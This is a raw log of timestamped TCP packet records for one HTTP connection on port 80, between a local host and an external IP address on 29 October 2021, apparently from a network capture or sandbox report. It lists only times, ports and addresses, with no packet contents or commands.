Oct 29, 2021 20:28:42.791337013 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791373014 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.791496038 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791534901 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791574001 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791603088 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.791613102 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.791740894 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791783094 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791817904 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.791862011 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791902065 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791939020 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791939020 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.792012930 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.792052031 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.792067051 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.792093039 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.792109966 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.792162895 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.792222977 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.845942974 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.845988035 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846026897 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846067905 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846069098 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.846113920 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846121073 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.846173048 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846226931 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846247911 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.846266031 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846307039 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846338034 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.846345901 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846385956 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846406937 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.846426964 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846466064 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846506119 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846518040 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.846544981 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846563101 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.846582890 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846621990 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846664906 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846689939 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.846704960 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846745968 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846762896 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.846784115 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846816063 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.846823931 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846863985 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846894979 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.846901894 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846930981 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.846978903 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.865027905 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865073919 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865113974 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865128994 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.865154982 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865194082 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865195036 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.865233898 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865252018 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.865272999 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865310907 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865330935 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.865350962 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865391016 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865406036 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.865431070 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865472078 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865509033 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865509987 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.865573883 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.865662098 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865736008 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.865797043 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.900793076 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.901035070 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.901074886 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.901125908 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.901154995 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.901197910 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.901261091 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.901359081 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.901396990 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.901437998 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.906609058 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.906666040 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.906730890 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.907167912 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907239914 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907258987 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.907282114 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907352924 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907385111 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.907433987 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907488108 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907514095 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.907581091 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907649994 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907670021 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.907697916 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907769918 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.907828093 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907867908 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907906055 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907943964 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.907951117 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.907980919 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.908008099 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.908051968 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.908093929 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.908133984 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.908134937 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.908171892 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.908200979 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.908211946 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.908282042 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.908313036 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.908329964 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.908359051 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.908425093 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.948360920 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948411942 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948452950 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.948484898 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948558092 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948559999 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.948597908 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948647976 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948673964 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.948688984 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948726892 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948751926 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.948766947 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948807955 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948824883 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.948864937 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948914051 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948929071 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.948955059 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.948992014 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.949013948 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.949031115 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.949071884 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.949099064 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.949110031 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.949148893 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.949173927 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.955555916 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.955595970 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.955658913 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.955754042 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.955796003 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.955837011 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.955895901 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.955996990 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.956020117 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.989800930 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.989851952 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.989872932 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.989897966 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.989964962 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.989969015 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.990006924 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990046024 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990053892 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.990086079 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990142107 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.990153074 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990195036 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990231037 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990245104 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.990271091 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990309954 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990319014 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.990349054 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990387917 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990395069 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.990427971 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990467072 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990483046 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.990508080 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990545034 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990559101 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.990585089 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990623951 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990634918 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.990665913 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990705013 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990720987 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.990745068 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990782976 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.990792036 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.031191111 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031236887 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031277895 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.031285048 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031326056 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031338930 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.031399965 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031440020 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031461000 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.031486034 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031523943 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031553030 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.031749964 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031791925 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031810999 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.031831980 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031871080 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031878948 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.031961918 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.031999111 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.032013893 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.032038927 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.032078981 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.032097101 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.032119989 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.032179117 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.032192945 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.032233000 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.032272100 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.032278061 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.032310963 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.032350063 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.032365084 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.032388926 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.032426119 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.032439947 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.044593096 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.044635057 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.044673920 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.072695971 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.072725058 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.072765112 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.072793007 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.072819948 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.072844028 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.072855949 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.072897911 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.072916031 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.072926044 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.072954893 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.072978973 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.072987080 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.073004007 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073029995 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073036909 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.073055983 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073081970 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073081970 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.073108912 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073134899 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073141098 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.073160887 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073187113 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073188066 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.073213100 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073237896 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073241949 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.073265076 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073291063 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073296070 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.073339939 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.073343992 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.085459948 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.085527897 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.085567951 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.085591078 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.085607052 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.085623980 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.085648060 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.085709095 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.085726976 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.114182949 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.114259005 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.114299059 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.114339113 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.114352942 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.114377022 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.114387989 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.114418030 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.114430904 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.114458084 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.114511967 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.114525080 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.114927053 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.114968061 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115000963 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.115006924 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115050077 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115066051 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.115144968 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115184069 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115196943 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.115225077 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115263939 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115277052 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.115304947 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115345001 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115377903 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.115516901 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115641117 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115669012 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.115681887 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115721941 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115761995 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115791082 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.115890026 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.115917921 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.115958929 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.116082907 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.116117001 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.116198063 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.116246939 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.116297960 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.116485119 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.116532087 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.155661106 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.155705929 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.155745029 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.155803919 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.155930042 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.155963898 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.156023026 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.156034946 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.156078100 CEST	80	49746	185.98.87.159	192.168.2.3
